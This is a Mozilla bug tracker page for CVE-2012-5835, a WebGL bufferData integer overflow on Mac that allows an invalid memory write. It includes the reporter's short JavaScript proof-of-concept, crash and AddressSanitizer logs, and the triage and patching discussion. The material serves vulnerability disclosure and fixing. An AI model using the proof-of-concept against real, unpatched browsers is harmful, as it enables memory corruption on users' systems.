Last Comment Bug 790879 - (CVE-2012-5835) integer overflow, invalid write w/webgl bufferdata
(CVE-2012-5835)
: integer overflow, invalid write w/webgl bufferdata
Status: RESOLVED FIXED
[adv-track-main17+][adv-track-esr17+]...
: csectype-intoverflow, sec-critical, sec-vector
Product: Core
Classification: Components
Component: Canvas: WebGL (show other bugs)
: unspecified
: x86 Mac OS X
: -- normal (vote)
: mozilla18
Assigned To: Benoit Jacob [:bjacob] (mostly away)
:
: Milan Sreckovic [:milan]
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2012-09-13 00:58 PDT by miaubiz
Modified: 2016-12-01 13:36 PST (History)
16 users (show)
rforbes: sec‑bounty+
ryanvm: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
wontfix
fixed
fixed
17+
fixed
fixed


Attachments
repro (455 bytes, text/plain)
2012-09-13 00:58 PDT, miaubiz
no flags Details
asan log osx (4.36 KB, text/plain)
2012-09-13 00:58 PDT, miaubiz
no flags Details
crashwrangler log, osx, stable (4.51 KB, text/plain)
2012-09-13 00:59 PDT, miaubiz
no flags Details
work around Mac bufferData bug (1.25 KB, patch)
2012-09-13 06:31 PDT, Benoit Jacob [:bjacob] (mostly away)
no flags Details | Diff | Splinter Review
work around Mac bufferData bug (1.25 KB, patch)
2012-09-13 10:45 PDT, Benoit Jacob [:bjacob] (mostly away)
jgilbert: review+
akeybl: approval‑mozilla‑aurora+
akeybl: approval‑mozilla‑beta-
Details | Diff | Splinter Review
esr10 patch (1.33 KB, patch)
2012-10-26 11:21 PDT, Benoit Jacob [:bjacob] (mostly away)
jgilbert: review+
akeybl: approval‑mozilla‑esr10+
Details | Diff | Splinter Review

Description miaubiz 2012-09-13 00:58:16 PDT
Created attachment 660738 [details]
repro

I load:

<html>
  <head>
    <script>
      gl=document.createElement('canvas').getContext('experimental-webgl')
      var buf = gl.createBuffer()
      gl.bindBuffer(gl.ARRAY_BUFFER, buf)
      var magic = 0x12345678
      gl.bufferData(gl.ARRAY_BUFFER, new Uint8Array(magic+1), gl.STATIC_DRAW)
      gl.bufferData(gl.ARRAY_BUFFER, Math.pow(2, 32), gl.STATIC_DRAW)
      gl.bufferSubData(gl.ARRAY_BUFFER, magic, new Uint8Array(1))
    </script>
  </head>
</html>

and I get:

exception=EXC_BAD_ACCESS:signal=11:is_exploitable=yes:instruction_disassembly=movb	%al,(%rdi):instruction_address=0x00007fff92c82a41:access_type=write:access_address=0x0000000012345678:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000012345678

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_c.dylib             	0x00007fff92c82a41 memmove$VARIANT$sse42 + 57
1   GLEngine                      	0x000000010cfa9982 glBufferSubData_Exec + 856

  rdi: 0x0000000012345678
  r11: 0x0000000012345678
  r12: 0x0000000012345678


ASAN:SIGSEGV
==3966== ERROR: AddressSanitizer crashed on unknown address 0x000012345678 (pc 0x7fff92c82a41 sp 0x7fff5fbf5380 bp 0x7fff5fbf5380 T0)
AddressSanitizer can not provide additional info. ABORTING
    #0 0x7fff92c82a40 in memmove$VARIANT$sse42 (in libsystem_c.dylib) + 227
    #1 0x100009291 in wrap_memmove (in firefox) + 545
    #2 0x13add8981 in glDeleteBuffers_Exec (in GLEngine) + 1727
    #3 0x105d41d4a in mozilla::gl::GLContext::fBufferSubData(unsigned int, long, long, void const*) (in XUL) + 90
    #4 0x105d25b2f in mozilla::WebGLContext::BufferSubData(unsigned int, long long, mozilla::dom::TypedArray_base<unsigned char, &(JS_GetObjectAsArrayBufferView(JSContext*, JSObject*, unsigned int*, unsigned char**))>&) (in XUL) + 575
Comment 1 miaubiz 2012-09-13 00:58:37 PDT
Created attachment 660740 [details]
asan log osx
Comment 2 miaubiz 2012-09-13 00:59:00 PDT
Created attachment 660741 [details]
crashwrangler log, osx, stable
Comment 3 Benoit Jacob [:bjacob] (mostly away) 2012-09-13 06:31:30 PDT
Created attachment 660823 [details] [diff] [review]
work around Mac bufferData bug

The type of the size parameter to bufferData is like size_t. So on 64bit it is valid to pass up to 2^64-1. Apparently the Mac GL lib doesn't know that. This patch works around it by rejecting bufferData calls with size exceeding UINT32_MAX before passing them to the GL.
Comment 5 Benoit Jacob [:bjacob] (mostly away) 2012-09-13 10:45:31 PDT
Created attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

Actually, this type is signed.
Comment 6 Al Billings [:abillings] 2012-09-24 15:29:08 PDT
Benoit, what security rating would you give this issue?
Comment 7 Benoit Jacob [:bjacob] (mostly away) 2012-09-24 15:55:44 PDT
(In reply to Al Billings [:abillings] from comment #6)
> Benoit, what security rating would you give this issue?

Random memory can be access, but only for read, not for write or execute (for all we know).

So I would naturally call this sec-high (information leakage vulnerability) but looking at https://wiki.mozilla.org/Security_Severity_Ratings, I see that "Any crash where random memory is accessed" is sec-criticial, so I guess sec-critical then (but I would like to understand the rationale for this rule). Up to you.
Comment 8 Benoit Jacob [:bjacob] (mostly away) 2012-09-28 04:42:29 PDT
http://hg.mozilla.org/integration/mozilla-inbound/rev/3e9d3ac81cb0
Comment 9 Ed Morley [:emorley] 2012-09-28 16:28:31 PDT
https://hg.mozilla.org/mozilla-central/rev/3e9d3ac81cb0
Comment 10 miaubiz 2012-10-01 12:08:41 PDT
@benoit: why is it only a read?

doesn't it end up calling fBufferSubData() which will attempt to memmove stuff into bad places? as in logs in c#0
Comment 11 Benoit Jacob [:bjacob] (mostly away) 2012-10-01 12:19:44 PDT
miaubiz, I can't remember at all what I was thinking then. Comment 0 does say "access_type=write" so it seems I was just wrong. That explains why it's sec-critical then.
Comment 12 Benoit Jacob [:bjacob] (mostly away) 2012-10-02 19:15:59 PDT
CC'ing Google.
Comment 13 Benoit Jacob [:bjacob] (mostly away) 2012-10-02 19:44:44 PDT
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

Sorry for the delayed request.

[Approval Request Comment]
Bug caused by (feature/regressing bug #): driver bug
User impact if declined: sec-critical
Testing completed (on m-c, etc.): been on m-c since last week
Risk to taking this patch (and alternatives if risky): no risk
String or UUID changes made by this patch: none
Comment 14 Alex Keybl [:akeybl] 2012-10-03 14:59:38 PDT
Comment on attachment 660893 [details] [diff] [review]
work around Mac bufferData bug

This missed our final beta, and doesn't seem critical for release. Approving for Aurora 17, however.
Comment 15 Benoit Jacob [:bjacob] (mostly away) 2012-10-04 08:12:55 PDT
http://hg.mozilla.org/releases/mozilla-aurora/rev/a2e5cf7fb98e
Comment 16 Alex Keybl [:akeybl] 2012-10-11 16:18:35 PDT
Is the ESR branch affected, given this is a driver bug?
Comment 17 Benoit Jacob [:bjacob] (mostly away) 2012-10-11 16:23:45 PDT
Most certainly yes.
Comment 18 Alex Keybl [:akeybl] 2012-10-18 16:19:32 PDT
(In reply to Benoit Jacob [:bjacob] from comment #17)
> Most certainly yes.

Please prepare a patch for mozilla-esr10 as well then. Thanks!
Comment 19 Benoit Jacob [:bjacob] (mostly away) 2012-10-26 11:21:37 PDT
Created attachment 675624 [details] [diff] [review]
esr10 patch

Here is the typical ESR10 user:
  http://www.grg.org/images/JCalment/JCalmentDate3.jpg
I content that she doesn't care about WebGL and would be better off if we simply turned it off in ESR, which would also relieve us from a significant maintenance burden.

Anyway, here is the ESR10 patch for this bug. Note that we didn't have GLContext::WorkAroundDriverBugs() in ESR10.
Comment 20 Benoit Jacob [:bjacob] (mostly away) 2012-10-27 13:08:58 PDT
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec:critical
Fix Landed on Version: 17+
Risk to taking this patch (and alternatives if risky): no risk. very simple, well tested already.
String or UUID changes made by this patch: none
Comment 21 Ryan VanderMeulen [:RyanVM] 2012-11-03 06:38:57 PDT
https://hg.mozilla.org/releases/mozilla-esr10/rev/a04c49a2a238
Comment 22 Ryan VanderMeulen [:RyanVM] 2012-11-03 06:52:44 PDT
Comment on attachment 675624 [details] [diff] [review]
esr10 patch

Funny story - esr10 doesn't define GenerateWarning. Backed out for build failures.
https://hg.mozilla.org/releases/mozilla-esr10/rev/7ded7f96bbbe
Comment 23 Benoit Jacob [:bjacob] (mostly away) 2012-11-03 10:38:24 PDT
https://hg.mozilla.org/releases/mozilla-esr10/rev/1d8137a19487
Comment 24 Raymond Forbes[:rforbes] 2013-07-19 18:41:24 PDT
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Comment 25 Tracy Walker [:tracy] 2014-01-10 10:42:15 PST
mass remove verifyme requests greater than 4 months old

Note You need to log in before you can comment on or make changes to this bug.